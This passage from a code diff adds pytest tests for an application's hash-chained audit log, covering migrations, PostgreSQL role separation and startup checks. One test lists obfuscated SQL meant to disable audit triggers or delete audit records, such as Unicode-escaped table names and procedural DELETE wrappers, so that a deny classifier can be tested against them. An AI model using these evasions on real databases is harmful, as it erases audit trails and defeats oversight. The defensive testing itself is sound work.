+            with pytest.raises(ValueError, match="rolled back"), engine.begin() as connection:
+                connection.exec_driver_sql("SELECT 1")
+        finally:
+            event.remove(engine, "before_cursor_execute", late_rewrite)
+
+        with Session(engine) as session:
+            events = list(session.scalars(select(AuditEvent)))
+            assert len(events) == 1
+            assert audit_chain_violations(events, _checkpoint(session)) == []
+    finally:
+        engine.dispose()
+
+
+@pytest.mark.parametrize(
+    "statement",
+    [
+        r'ALTER TABLE IF EXISTS U&"audit\005fevents" DISABLE TRIGGER ALL',
+        r'''ALTER TABLE IF EXISTS U&"audit!005fchain!005fheads" UESCAPE '!' DISABLE TRIGGER ALL''',
+        "CREATE OR REPLACE FUNCTION reset_chain() RETURNS void LANGUAGE SQL AS $$ "
+        "DELETE FROM audit_events $$",
+        "SELECT public.reset_chain()",
+        "CALL reset_chain()",
+        "DO $$ BEGIN EXECUTE 'DELETE FROM audit_events'; END $$",
+        "DELETE events, heads FROM audit_events AS events JOIN audit_chain_heads AS heads ON 1=1",
+        "DELETE FROM audit_events AS events USING audit_chain_heads AS heads",
+    ],
+)
+def test_runtime_sql_classifier_defaults_procedural_and_obfuscated_mutation_to_deny(
+    statement: str,
+) -> None:
+    assert _textual_audit_dml_targets(statement)
+
+
+@pytest.mark.parametrize(
+    "statement",
+    [
+        "SELECT count(*) FROM audit_events",
+        "SELECT * FROM audit_chain_heads",
+        "SELECT * FROM modelforge_audit.append_event_v2(NULL, NULL, NULL, NULL, NULL, "
+        "NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)",
+    ],
+)
+def test_runtime_sql_classifier_keeps_read_and_canonical_append_controls(
+    statement: str,
+) -> None:
+    assert _textual_audit_dml_targets(statement) == frozenset()
+
+
+def test_old_visible_capabilities_cannot_be_imported_guessed_reused_or_crossed(
+    session: Session,
+) -> None:
+    retired_names = {
+        "_AUDIT_INTERNAL_EXECUTION_TOKEN",
+        "_AUDIT_INTERNAL_EXECUTION_OPTION",
+        "_AUDIT_INTERNAL_CONNECTION_INFO_KEY",
+        "_allow_privileged_audit_connection",
+        "_allow_canonical_audit_event_insert",
+        "_mark_canonical_audit_head_update",
+    }
+    assert retired_names.isdisjoint(vars(audit_domain))
+    assert retired_names.isdisjoint(vars(persistence_models))
+    assert "_install_audit_dml_boundary" not in vars(persistence_models)
+    canonical_operation = persistence_models._append_canonical_audit_event
+    assert canonical_operation.__closure__ is None
+    assert pyinspect.getclosurevars(canonical_operation).nonlocals == {}
+    with pytest.raises(TypeError, match="unexpected keyword argument"):
+        canonical_operation(session, statement=delete(AuditEvent))  # type: ignore[call-arg]
+
+    connection = session.connection()
+    stolen_or_guessed = object()
+    for info in (session.info, connection.info):
+        info["_modelforge_audit_internal_execution"] = stolen_or_guessed
+        info["_modelforge_audit_privileged_connection"] = stolen_or_guessed
+    statement = delete(AuditEvent).execution_options(
+        _modelforge_audit_internal_execution=stolen_or_guessed
+    )
+    with pytest.raises(ValueError, match="canonical audit writer"):
+        session.execute(statement)
+    session.rollback()
+
+    engine = session.get_bind()
+    assert isinstance(engine, Engine)
+    with Session(engine) as other:
+        other.info["_modelforge_audit_internal_execution"] = stolen_or_guessed
+        other_connection = other.connection()
+        other_connection.info["_modelforge_audit_privileged_connection"] = stolen_or_guessed
+        with pytest.raises(ValueError, match="canonical audit writer"):
+            other.execute(
+                update(AuditChainHead)
+                .values(event_count=0, last_sequence=0, last_event_hash=None)
+                .execution_options(
+                    _modelforge_audit_internal_execution=stolen_or_guessed
+                )
+            )
+        other.rollback()
+
+
+def test_canonical_append_leaves_no_visible_or_reusable_connection_capability(
+    session: Session,
+) -> None:
+    AuditWriter(session, "operator", "legitimate-writer").write(
+        "CAPABILITY_CLEANUP_CONTROL", "model", "model-1", {}
+    )
+    session.commit()
+    connection = session.connection()
+    forbidden_fragments = ("internal", "permit", "privileged", "token")
+    assert not any(
+        any(fragment in str(key).lower() for fragment in forbidden_fragments)
+        for key in session.info
+    )
+    assert not any(
+        any(fragment in str(key).lower() for fragment in forbidden_fragments)
+        for key in connection.info
+    )
+
+    with pytest.raises(ValueError, match="application session connection"):
+        connection.execute(delete(AuditEvent))
+    session.rollback()
+
+
+def test_privileged_checkpoint_rewrite_is_refused_by_the_append_gate(
+    session: Session,
+) -> None:
+    events = _seed_chain(session, count=3)
+    _privileged_tamper(
+        session,
+        update(AuditChainHead)
+        .where(AuditChainHead.singleton_id == 1)
+        .values(
+            event_count=2,
+            last_sequence=2,
+            last_event_hash=events[1].event_hash,
+        ),
+    )
+    session.commit()
+
+    with pytest.raises(RuntimeError, match="checkpoint/tail failed"):
+        AuditWriter(session, "operator", "legitimate-writer").write(
+            "REFUSED_AFTER_HEAD_REWRITE", "model", "model-4", {}
+        )
+
+
+def test_failed_event_insert_rolls_back_event_and_checkpoint(session: Session) -> None:
+    _seed_chain(session, count=1)
+    before = _checkpoint(session)
+    expected = (before.event_count, before.last_sequence, before.last_event_hash)
+
+    engine = session.get_bind()
+    assert isinstance(engine, Engine)
+
+    def fail_insert(
+        _connection: Connection,
+        _cursor: Any,
+        statement: str,
+        parameters: Any,
+        _context: Any,
+        _executemany: bool,
+    ) -> None:
+        if statement.lstrip().lower().startswith("insert into audit_events") and (
+            "FAIL_INSERT" in repr(parameters)
+        ):
+            raise RuntimeError("injected audit insert failure")
+
+    event.listen(engine, "before_cursor_execute", fail_insert)
+    try:
+        with pytest.raises(RuntimeError, match="injected"):
+            AuditWriter(session, "operator", "alice").write(
+                "FAIL_INSERT", "model", "2", {}
+            )
+    finally:
+        event.remove(engine, "before_cursor_execute", fail_insert)
+
+    rows = list(session.scalars(select(AuditEvent)))
+    after = _checkpoint(session)
+    assert len(rows) == 1
+    assert (after.event_count, after.last_sequence, after.last_event_hash) == expected
+
+
+def test_postgresql_writers_take_the_shared_transaction_scoped_advisory_lock() -> None:
+    session = Mock()
+    session.get_bind.return_value = SimpleNamespace(
+        dialect=SimpleNamespace(name="postgresql")
+    )
+
+    _acquire_audit_write_lock(cast(Session, session))
+
+    statement, parameters = session.execute.call_args.args
+    assert str(statement) == "SELECT pg_advisory_xact_lock(:lock_key)"
+    assert parameters == {"lock_key": AUDIT_CHAIN_POSTGRES_LOCK_KEY}

backend/tests/test_audit_migration_rc.py

@@ -0,0 +1,236 @@
+"""Production-shaped upgrade/cutover regressions for the RC audit migration."""
+
+from __future__ import annotations
+
+import hashlib
+import importlib.util
+import json
+import uuid
+from datetime import UTC, datetime, timedelta
+from pathlib import Path
+from types import ModuleType
+from unittest.mock import Mock
+
+import pytest
+from sqlalchemy import (
+    JSON,
+    BigInteger,
+    Column,
+    DateTime,
+    MetaData,
+    String,
+    Table,
+    Uuid,
+    create_engine,
+    inspect,
+    select,
+)
+from sqlalchemy.engine import Engine
+from sqlalchemy.orm import Session
+
+from alembic.migration import MigrationContext
+from alembic.operations import Operations
+from modelforge_api.domain.audit import AUDIT_EMPTY_LEGACY_PREFIX_SEAL
+from modelforge_api.persistence.models import (
+    AuditChainHead,
+    AuditEvent,
+)
+from modelforge_api.services.audit import (
+    AUDIT_HASH_FORMAT_V1,
+    AuditWriter,
+    audit_chain_violations,
+    canonical_audit_payload_and_hash,
+)
+
+ROOT = Path(__file__).resolve().parents[1]
+MIGRATION = (
+    ROOT
+    / "alembic"
+    / "versions"
+    / "20260830_0024_audit_chain_checkpoint.py"
+)
+
+
+def _migration() -> ModuleType:
+    spec = importlib.util.spec_from_file_location("audit_migration_0024", MIGRATION)
+    assert spec is not None and spec.loader is not None
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def _legacy_engine() -> tuple[Engine, Table]:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    metadata = MetaData()
+    events = Table(
+        "audit_events",
+        metadata,
+        Column("id", Uuid(), primary_key=True),
+        Column("sequence", BigInteger(), nullable=False, unique=True),
+        Column("occurred_at", DateTime(timezone=True), nullable=False),
+        Column("correlation_id", String(64), nullable=False),
+        Column("actor_type", String(32), nullable=False),
+        Column("actor_id", String(255), nullable=False),
+        Column("action", String(128), nullable=False),
+        Column("resource_type", String(64), nullable=False),
+        Column("resource_id", String(64), nullable=True),
+        Column("outcome", String(32), nullable=False),
+        Column("details", JSON(), nullable=False),
+        Column("previous_event_hash", String(64), nullable=True),
+        Column("event_hash", String(64), nullable=False, unique=True),
+    )
+    metadata.create_all(engine)
+    return engine, events
+
+
+def _insert_legacy_chain(engine: Engine, events: Table, count: int = 2) -> None:
+    previous_hash: str | None = None
+    occurred_at = datetime(2026, 8, 28, 21, 30, tzinfo=UTC)
+    rows: list[dict[str, object]] = []
+    for sequence in range(1, count + 1):
+        payload, event_hash = canonical_audit_payload_and_hash(
+            correlation_id=f"production-correlation-{sequence}",
+            actor_type="operator",
+            actor_id="production-operator",
+            action=f"PRODUCTION_ACTION_{sequence}",
+            resource_type="model_revision",
+            resource_id=str(uuid.uuid4()),
+            outcome="success",
+            details={"nested": {"approved": True}, "sequence": sequence},
+            previous_event_hash=previous_hash,
+            hash_format=AUDIT_HASH_FORMAT_V1,
+        )
+        rows.append(
+            {
+                "id": uuid.uuid4(),
+                "sequence": sequence,
+                "occurred_at": occurred_at + timedelta(microseconds=sequence),
+                "event_hash": event_hash,
+                **payload,
+            }
+        )
+        previous_hash = event_hash
+    with engine.begin() as connection:
+        connection.execute(events.insert(), rows)
+
+
+def _run(module: ModuleType, engine: Engine, operation: str) -> None:
+    with engine.begin() as connection:
+        context = MigrationContext.configure(connection)
+        module.op = Operations(context)
+        getattr(module, operation)()
+
+
+def test_upgrade_validates_and_seals_production_shaped_legacy_history() -> None:
+    engine, legacy_table = _legacy_engine()
+    _insert_legacy_chain(engine, legacy_table)
+    module = _migration()
+
+    _run(module, engine, "upgrade")
+
+    assert "hash_format" in {column["name"] for column in inspect(engine).get_columns("audit_events")}
+    with Session(engine) as session:
+        legacy = list(session.scalars(select(AuditEvent).order_by(AuditEvent.sequence)))
+        checkpoint = session.get(AuditChainHead, 1)
+        assert checkpoint is not None
+        assert [event.hash_format for event in legacy] == ["v1", "v1"]
+        assert checkpoint.event_count == 2
+        assert checkpoint.v2_start_sequence == 3
+        assert checkpoint.legacy_prefix_count == 2
+        assert checkpoint.legacy_prefix_seal != AUDIT_EMPTY_LEGACY_PREFIX_SEAL
+        assert audit_chain_violations(legacy, checkpoint) == []
+
+        AuditWriter(session, "operator", "post-cutover").write(
+            "POST_CUTOVER", "model_revision", str(uuid.uuid4()), {}
+        )
+        session.commit()
+        mixed = list(session.scalars(select(AuditEvent).order_by(AuditEvent.sequence)))
+        assert [event.hash_format for event in mixed] == ["v1", "v1", "v2"]
+        assert audit_chain_violations(mixed, session.get(AuditChainHead, 1)) == []
+
+    with pytest.raises(RuntimeError, match="cannot downgrade.*v2 events"):
+        _run(module, engine, "downgrade")
+
+
+def test_upgrade_rejects_a_legacy_random_hash_before_schema_mutation() -> None:
+    engine, legacy_table = _legacy_engine()
+    _insert_legacy_chain(engine, legacy_table, count=1)
+    with engine.begin() as connection:
+        connection.execute(
+            legacy_table.update().values(
+                action="RECOVERY_RECONCILIATION_COMPLETED",
+                event_hash="a" * 64,
+            )
+        )
+    module = _migration()
+
+    with pytest.raises(RuntimeError, match="content hash is invalid"):
+        _run(module, engine, "upgrade")
+
+    assert "hash_format" not in {
+        column["name"] for column in inspect(engine).get_columns("audit_events")
+    }
+    assert "audit_chain_heads" not in inspect(engine).get_table_names()
+
+
+@pytest.mark.parametrize("invalid_details", [["array"], "scalar", 42, True, None])
+def test_upgrade_rejects_valid_hash_whose_legacy_details_are_not_an_object(
+    invalid_details: object,
+) -> None:
+    engine, legacy_table = _legacy_engine()
+    _insert_legacy_chain(engine, legacy_table, count=1)
+    with engine.begin() as connection:
+        row = connection.execute(select(legacy_table)).mappings().one()
+        payload = {
+            "correlation_id": row["correlation_id"],
+            "actor_type": row["actor_type"],
+            "actor_id": row["actor_id"],
+            "action": row["action"],
+            "resource_type": row["resource_type"],
+            "resource_id": row["resource_id"],
+            "outcome": row["outcome"],
+            "details": invalid_details,
+            "previous_event_hash": row["previous_event_hash"],
+        }
+        valid_hash = hashlib.sha256(
+            json.dumps(payload, sort_keys=True, separators=(",", ":")).encode("utf-8")
+        ).hexdigest()
+        connection.execute(
+            legacy_table.update().values(details=invalid_details, event_hash=valid_hash)
+        )
+
+    with pytest.raises(RuntimeError, match="details must be a JSON object"):
+        _run(_migration(), engine, "upgrade")
+
+    assert "hash_format" not in {
+        column["name"] for column in inspect(engine).get_columns("audit_events")
+    }
+    assert "audit_chain_heads" not in inspect(engine).get_table_names()
+
+
+def test_postgresql_migration_locks_legacy_and_current_writers_before_validation() -> None:
+    module = _migration()
+    connection = Mock()
+    connection.dialect.name = "postgresql"
+
+    module._lock_legacy_audit_chain(connection)
+
+    advisory_statement, advisory_parameters = connection.execute.call_args_list[0].args
+    table_lock_statement = connection.execute.call_args_list[1].args[0]
+    assert str(advisory_statement) == "select pg_advisory_xact_lock(:lock_key)"
+    assert advisory_parameters == {"lock_key": module._AUDIT_CHAIN_LOCK_KEY}
+    assert str(table_lock_statement) == "lock table audit_events in access exclusive mode"
+
+
+def test_downgrade_is_supported_only_before_the_first_v2_event() -> None:
+    engine, legacy_table = _legacy_engine()
+    _insert_legacy_chain(engine, legacy_table, count=1)
+    module = _migration()
+    _run(module, engine, "upgrade")
+
+    _run(module, engine, "downgrade")
+
+    assert "hash_format" not in {
+        column["name"] for column in inspect(engine).get_columns("audit_events")
+    }
+    assert "audit_chain_heads" not in inspect(engine).get_table_names()

backend/tests/test_audit_postgres_boundary_rc.py

@@ -0,0 +1,445 @@
+"""Static/generated PostgreSQL boundary and production startup policy regressions.
+
+The managed PostgreSQL runner remains the place for privilege execution tests. These tests ensure
+the locally generated migration contract cannot silently lose a role, grant, trigger, lock, hash,
+or fail-closed startup fact before that runner executes it.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import importlib.util
+import re
+from pathlib import Path
+from types import ModuleType, SimpleNamespace
+from typing import Any, cast
+from unittest.mock import Mock
+
+import pytest
+from pydantic import SecretStr
+from sqlalchemy.engine import Engine
+
+from modelforge_api.persistence.audit_postgres import (
+    AUDIT_APPEND_BODY_SHA256,
+    AUDIT_GUARD_BODY_SHA256,
+)
+from modelforge_api.persistence.models import _textual_audit_dml_targets
+from modelforge_api.services.startup_validation import (
+    AUDIT_RUNTIME_BOUNDARY_SQL,
+    StartupFailureCode,
+    audit_runtime_boundary_violations,
+    validate_startup,
+)
+from modelforge_api.settings import Settings
+
+ROOT = Path(__file__).resolve().parents[2]
+MIGRATION = (
+    ROOT
+    / "backend"
+    / "alembic"
+    / "versions"
+    / "20260830_0024_audit_chain_checkpoint.py"
+)
+
+
+def _migration() -> ModuleType:
+    spec = importlib.util.spec_from_file_location("audit_boundary_0024", MIGRATION)
+    assert spec is not None and spec.loader is not None
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def _sound_boundary_facts() -> dict[str, Any]:
+    return {
+        "current_role": "modelforge_runtime",
+        "session_role": "modelforge_runtime",
+        "current_role_superuser": False,
+        "current_role_createrole": False,
+        "current_role_createdb": False,
+        "current_role_replication": False,
+        "current_role_bypassrls": False,
+        "current_role_inherit": False,
+        "owner_member": False,
+        "runtime_membership_count": 0,
+        "owner_table_count": 2,
+        "runtime_owned_table_count": 0,
+        "runtime_owns_database": False,
+        "runtime_owns_public_schema": False,
+        "audit_select": True,
+        "forbidden_audit_table_privilege": False,
+        "forbidden_schema_create": False,
+        "forbidden_database_privilege": False,
+        "append_exists": True,
+        "append_owner": True,
+        "append_security_definer": True,
+        "append_fixed_search_path": True,
+        "append_body_exact": True,
+        "runtime_append_execute": True,
+        "public_append_execute": False,
+        "guard_exists": True,
+        "guard_owner": True,
+        "guard_security_invoker": True,
+        "guard_fixed_search_path": True,
+        "guard_body_exact": True,
+        "runtime_cannot_execute_guard": True,
+        "protected_trigger_count": 4,
+        "unexpected_function_execute_count": 0,
+    }
+
+
+def test_generated_postgres_function_owns_hash_link_lock_and_atomic_head_advance() -> None:
+    sql = _migration()._POSTGRES_AUDIT_BOUNDARY_SQL.lower()
+
+    for required in (
+        "security definer",
+        "set search_path = pg_catalog",
+        "pg_advisory_xact_lock(5568242723498248532)",
+        "for update",
+        "jsonb_typeof(p_details) <> 'object'",
+        "isfinite(p_occurred_at)",
+        "sha256(pg_catalog.convert_to(v_payload, 'utf8'))",
+        "canonical_payload",
+        "insert into public.audit_events",
+        "update public.audit_chain_heads",
+        "last_event_hash is not distinct from v_head.last_event_hash",
+        "get diagnostics v_updated = row_count",
+        "raise exception 'audit checkpoint compare-and-set failed'",
+    ):
+        assert required in sql
+
+
+def test_startup_body_attestation_matches_the_immutable_migration_functions() -> None:
+    sql = _migration()._POSTGRES_AUDIT_BOUNDARY_SQL
+    append = re.search(r"as \$append\$(.*?)\$append\$;", sql, re.DOTALL)
+    guard = re.search(r"as \$guard\$(.*?)\$guard\$;", sql, re.DOTALL)
+
+    assert append is not None and guard is not None
+    assert hashlib.sha256(append.group(1).encode()).hexdigest() == AUDIT_APPEND_BODY_SHA256
+    assert hashlib.sha256(guard.group(1).encode()).hexdigest() == AUDIT_GUARD_BODY_SHA256
+    assert AUDIT_APPEND_BODY_SHA256 in AUDIT_RUNTIME_BOUNDARY_SQL
+    assert AUDIT_GUARD_BODY_SHA256 in AUDIT_RUNTIME_BOUNDARY_SQL
+
+
+def test_generated_postgres_permissions_block_direct_coordinated_reset() -> None:
+    sql = _migration()._POSTGRES_AUDIT_BOUNDARY_SQL.lower()
+
+    assert "revoke insert, update, delete, truncate, references, trigger" in sql
+    assert "on public.audit_events, public.audit_chain_heads from modelforge_runtime" in sql
+    assert "grant select on public.audit_events, public.audit_chain_heads" in sql
+    assert "revoke all on function modelforge_audit.append_event_v2" in sql
+    assert "from public" in sql
+    assert "grant execute on function modelforge_audit.append_event_v2" in sql
+    assert sql.count("create trigger trg_modelforge_audit_") == 4
+    assert sql.count("execute function modelforge_audit.enforce_owner_mutation()") == 4
+    assert "if current_user <> 'modelforge'" in sql
+
+
+def test_generated_sql_is_executed_as_driver_safe_complete_statements() -> None:
+    module = _migration()
+    statements = module._postgres_sql_statements(module._POSTGRES_AUDIT_BOUNDARY_SQL)
+
+    append_function = next(
+        statement
+        for statement in statements
+        if "function modelforge_audit.append_event_v2(" in statement.lower()
+        and "create or replace" in statement.lower()
+    )
+    assert "insert into public.audit_events" in append_function.lower()
+    assert "update public.audit_chain_heads" in append_function.lower()
+    assert append_function.rstrip().endswith("$append$")
+    assert all(statement.strip() and not statement.rstrip().endswith(";") for statement in statements)
+
+
+def test_postgres_percent_syntax_is_escaped_only_at_the_dbapi_boundary() -> None:
+    module = _migration()
+    connection = SimpleNamespace(
+        dialect=SimpleNamespace(name="postgresql", paramstyle="pyformat"),
+        exec_driver_sql=Mock(),
+    )
+
+    module._exec_postgres_sql(
+        connection,
+        "declare value public.audit_events%rowtype; select format('%I', 'value')",
+    )
+
+    connection.exec_driver_sql.assert_called_once_with(
+        "declare value public.audit_events%%rowtype; select format('%%I', 'value')"
+    )
+
+
+class _Rows:
+    def __init__(self, rows: list[dict[str, Any]]) -> None:
+        self.rows = rows
+
+    def mappings(self) -> _Rows:
+        return self
+
+    def __iter__(self) -> Any:
+        return iter(self.rows)
+
+
+class _PreflightConnection:
+    dialect = SimpleNamespace(name="postgresql")
+
+    def __init__(
+        self,
+        *,
+        current_role: str = "modelforge",
+        session_role: str = "modelforge",
+        membership_count: int = 0,
+        runtime_superuser: bool = False,
+        runtime_exists: bool = True,
+    ) -> None:
+        self.current_role = current_role
+        self.session_role = session_role
+        self.membership_count = membership_count
+        self.runtime_superuser = runtime_superuser
+        self.runtime_exists = runtime_exists
+
+    def execute(self, _statement: Any, _parameters: Any = None) -> _Rows:
+        rows = [
+            {
+                "rolname": "modelforge",
+                "rolsuper": False,
+                "rolinherit": True,
+                "rolcreaterole": False,
+                "rolcreatedb": False,
+                "rolcanlogin": True,
+                "rolreplication": False,
+                "rolbypassrls": False,
+            }
+        ]
+        if self.runtime_exists:
+            rows.append(
+                {
+                    "rolname": "modelforge_runtime",
+                    "rolsuper": self.runtime_superuser,
+                    "rolinherit": False,
+                    "rolcreaterole": False,
+                    "rolcreatedb": False,
+                    "rolcanlogin": True,
+                    "rolreplication": False,
+                    "rolbypassrls": False,
+                }
+            )
+        return _Rows(sorted(rows, key=lambda row: str(row["rolname"])))
+
+    def scalar(self, statement: Any, _parameters: Any = None) -> Any:
+        sql = str(statement)
+        if "current_user" in sql:
+            return self.current_role
+        if "session_user" in sql:
+            return self.session_role
+        if "pg_auth_members" in sql:
+            return self.membership_count
+        return False
+
+
+def test_migration_role_preflight_accepts_only_the_split_non_admin_control() -> None:
+    module = _migration()
+    module._validate_postgres_role_preflight(_PreflightConnection())
+
+    with pytest.raises(RuntimeError, match="separately provisioned"):
+        module._validate_postgres_role_preflight(
+            _PreflightConnection(runtime_exists=False)
+        )
+    with pytest.raises(RuntimeError, match="forbidden administrative"):
+        module._validate_postgres_role_preflight(
+            _PreflightConnection(runtime_superuser=True)
+        )
+    with pytest.raises(RuntimeError, match="must run with"):
+        module._validate_postgres_role_preflight(
+            _PreflightConnection(current_role="postgres")
+        )
+    with pytest.raises(RuntimeError, match="authenticate directly"):
+        module._validate_postgres_role_preflight(
+            _PreflightConnection(session_role="postgres")
+        )
+    with pytest.raises(RuntimeError, match="no SET ROLE-capable memberships"):
+        module._validate_postgres_role_preflight(
+            _PreflightConnection(membership_count=1)
+        )
+
+
+@pytest.mark.parametrize(
+    ("field", "bad_value"),
+    [
+        ("current_role", "modelforge"),
+        ("session_role", "modelforge"),
+        ("current_role_superuser", True),
+        ("owner_member", True),
+        ("runtime_membership_count", 1),
+        ("runtime_owned_table_count", 1),
+        ("forbidden_audit_table_privilege", True),
+        ("append_owner", False),
+        ("append_security_definer", False),
+        ("append_fixed_search_path", False),
+        ("append_body_exact", False),
+        ("public_append_execute", True),
+        ("protected_trigger_count", 3),
+        ("guard_body_exact", False),
+        ("unexpected_function_execute_count", 1),
+    ],
+)
+def test_startup_boundary_policy_fails_closed_for_each_authority_break(
+    field: str, bad_value: Any
+) -> None:
+    facts = _sound_boundary_facts()
+    facts[field] = bad_value
+    assert audit_runtime_boundary_violations(facts)
+
+
+def test_startup_boundary_policy_accepts_only_the_exact_control_and_rejects_sparse_facts() -> None:
+    assert audit_runtime_boundary_violations(_sound_boundary_facts()) == []
+    assert audit_runtime_boundary_violations({})
+    assert "pg_catalog.pg_roles" in AUDIT_RUNTIME_BOUNDARY_SQL
+    assert "pg_catalog.pg_trigger" in AUDIT_RUNTIME_BOUNDARY_SQL
+    assert "pg_catalog.aclexplode" in AUDIT_RUNTIME_BOUNDARY_SQL
+    assert "unexpected_function_execute_count" in AUDIT_RUNTIME_BOUNDARY_SQL
+    assert "trigger.tgenabled = 'O'" in AUDIT_RUNTIME_BOUNDARY_SQL
+    assert "trigger.tgtype = 31" in AUDIT_RUNTIME_BOUNDARY_SQL
+    assert "trigger.tgtype = 34" in AUDIT_RUNTIME_BOUNDARY_SQL
+    assert _textual_audit_dml_targets(AUDIT_RUNTIME_BOUNDARY_SQL) == frozenset()
+
+
+class _ScalarResult:
+    def __init__(self, value: Any) -> None:
+        self.value = value
+
+    def scalar_one(self) -> Any:
+        return self.value
+
+    def scalar_one_or_none(self) -> Any:
+        return self.value
+
+    def mappings(self) -> _ScalarResult:
+        return self
+
+    def one(self) -> Any:
+        return self.value
+
+
+class _StartupConnection:
+    def __init__(self, facts: dict[str, Any]) -> None:
+        self.facts = facts
+
+    def __enter__(self) -> _StartupConnection:
+        return self
+
+    def __exit__(self, *_args: Any) -> None:
+        return None
+
+    def exec_driver_sql(self, _sql: str) -> _ScalarResult:
+        return _ScalarResult(170000)
+
+    def execute(self, statement: Any) -> _ScalarResult:
+        if "alembic_version" in str(statement):
+            return _ScalarResult("20260830_0024")
+        return _ScalarResult(self.facts)
+
+
+class _StartupEngine:
+    def __init__(self, facts: dict[str, Any]) -> None:
+        self.facts = facts
+
+    def connect(self) -> _StartupConnection:
+        return _StartupConnection(self.facts)
+
+
+def _production_settings(tmp_path: Path, **overrides: Any) -> Settings:
+    values: dict[str, Any] = {
+        "env": "production",
+        "operator_api_key": SecretStr("k" * 48),
+        "backup_encryption_key": SecretStr("x" * 44),
+        "database_url": "postgresql+psycopg://modelforge_runtime:long-secret@db/mf",
+        "redis_url": "redis://cache:6379/0",
+        "cors_origins": "https://console.example.test",
+        "artifact_root": str(tmp_path),
+        "quarantine_root": str(tmp_path),
+        "backup_root": tmp_path,
+    }
+    values.update(overrides)
+    return Settings(**values)
+
+
+def test_production_startup_uses_catalog_policy_and_refuses_a_broken_trigger(
+    tmp_path: Path,
+) -> None:
+    facts = _sound_boundary_facts()
+    facts["protected_trigger_count"] = 3
+    report = validate_startup(
+        _production_settings(tmp_path),
+        cast("Engine", _StartupEngine(facts)),
+    )
+
+    assert any(
+        problem.code is StartupFailureCode.INCOMPATIBLE_DATABASE
+        and problem.setting == "PostgreSQL audit runtime boundary"
+        for problem in report.problems
+    )
+
+
+def test_production_configuration_rejects_owner_role_and_owner_secret_presence(
+    tmp_path: Path,
+) -> None:
+    report = validate_startup(
+        _production_settings(
+            tmp_path,
+            database_url="postgresql+psycopg://modelforge:long-secret@db/mf",
+            migration_database_url=SecretStr(
+                "postgresql+psycopg://modelforge:other-secret@db/mf"
+            ),
+        )
+    )
+    settings = {problem.setting for problem in report.problems}
+    assert "MODELFORGE_DATABASE_URL" in settings
+    assert "MODELFORGE_MIGRATION_DATABASE_URL" in settings
+
+
+def test_compose_and_image_keep_admin_owner_credentials_out_of_the_api_process() -> None:
+    compose = (ROOT / "docker-compose.yml").read_text("utf-8")
+    dockerfile = (ROOT / "backend" / "Dockerfile").read_text("utf-8")
+    api_section = compose.split("\n  api:", 1)[1].split("\n  migrate:", 1)[0]
+    migrate_section = compose.split("\n  migrate:", 1)[1].split("\n  web:", 1)[0]
+
+    assert "MODELFORGE_RUNTIME_DATABASE_URL" in api_section
+    assert "MODELFORGE_MIGRATION_DATABASE_URL" not in api_section
+    assert "MODELFORGE_POSTGRES_ADMIN_PASSWORD" not in api_section
+    assert "MODELFORGE_MIGRATION_DATABASE_URL" in migrate_section
+    assert "MODELFORGE_RUNTIME_DATABASE_URL" not in migrate_section
+    assert "alembic upgrade" not in dockerfile
+    assert 'CMD ["uvicorn"' in dockerfile
+
+
+def test_role_provisioning_contains_no_password_literal_and_demotes_both_app_roles() -> None:
+    for relative_path in (
+        "deploy/postgres/init/001-modelforge-roles.sql",
+        "deploy/postgres/provision-existing-1.2.1.sql",
+    ):
+        provisioning = (ROOT / relative_path).read_text("utf-8")
+
+        assert "\\getenv owner_password" in provisioning
+        assert "\\getenv runtime_password" in provisioning
+        assert "nosuperuser nocreatedb nocreaterole" in provisioning.lower()
+        assert "modelforge_runtime" in provisioning
+        assert "noinherit" in provisioning.lower()
+        assert "pg_auth_members" in provisioning
+        assert "revoke create, temporary on database %I from public" in provisioning
+        assert "password 'modelforge'" not in provisioning.lower()
+        assert "password 'postgres'" not in provisioning.lower()
+
+
+@pytest.mark.parametrize(
+    "path",
+    [
+        "scripts/m16_chaos.py",
+        "scripts/m16_soak.py",
+        "scripts/m16_release_gate.py",
+    ],
+)
+def test_operational_harnesses_have_no_owner_password_fallback(path: str) -> None:
+    source = (ROOT / path).read_text("utf-8")
+
+    assert "modelforge:modelforge" not in source
+    assert 'os.getenv("MODELFORGE_RUNTIME_DATABASE_URL")' in source

backend/tests/test_concurrency_m16.py

@@ -0,0 +1,613 @@
+"""M16 concurrency and race tests.
+
+Races are the failure class unit tests miss most reliably, because a single-threaded test can
+satisfy every assertion while the same code loses an update under load. These tests run real
+threads against a shared database and assert on the *outcome* — exactly one winner, no duplicate
+authoritative object, no lost update — rather than on timing.
+
+SQLite serialises writers, so a lost update here would be a logic error rather than an isolation
+one. The PostgreSQL-specific behaviour (deadlock retry, serialisation failure) is characterised in
+the live chaos evidence; what these tests pin down is that the *code* claims a single winner.
+"""
+
+from __future__ import annotations
+
+import os
+import threading
+import uuid
+from collections.abc import Callable
+from concurrent.futures import ThreadPoolExecutor
+from datetime import UTC, datetime
+from pathlib import Path
+from typing import Any
+
+import pytest
+from pydantic import SecretStr
+from sqlalchemy import create_engine, event, func, select, text
+from sqlalchemy.engine import Engine
+from sqlalchemy.exc import IntegrityError, OperationalError
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.agent_protocol import (
+    AGENT_PROTOCOL_CAPABILITIES,
+    AgentMetadata,
+    EnrollmentRequest,
+    EnrollmentTokenCreate,
+)
+from modelforge_api.persistence.models import (
+    AuditChainHead,
+    AuditEvent,
+    Base,
+    ComputeNode,
+    NodeCredential,
+    NodeEnrollment,
+)
+from modelforge_api.services.audit import AuditWriter, audit_chain_violations
+from modelforge_api.services.invariants import InvariantStatus, check_invariants
+from modelforge_api.services.node_agent import (
+    AgentAuthenticationError,
+    AgentConflictError,
+    NodeAgentService,
+)
+from modelforge_api.settings import Settings
+
+
+@pytest.fixture
+def engine(tmp_path: Path) -> Engine:
+    """A file-backed database so each thread contends on a real connection.
+
+    An in-memory SQLite database behind a StaticPool shares one connection between threads, which
+    is an API misuse rather than a concurrency test: the contention being measured would be the
+    driver's, not the platform's.
+    """
+
+    value = create_engine(f"sqlite+pysqlite:///{tmp_path / 'm16.sqlite'}")
+
+    @event.listens_for(value, "connect")
+    def _enable_busy_timeout(connection: Any, _record: Any) -> None:
+        cursor = connection.cursor()
+        cursor.execute("PRAGMA busy_timeout = 15000")
+        cursor.close()
+
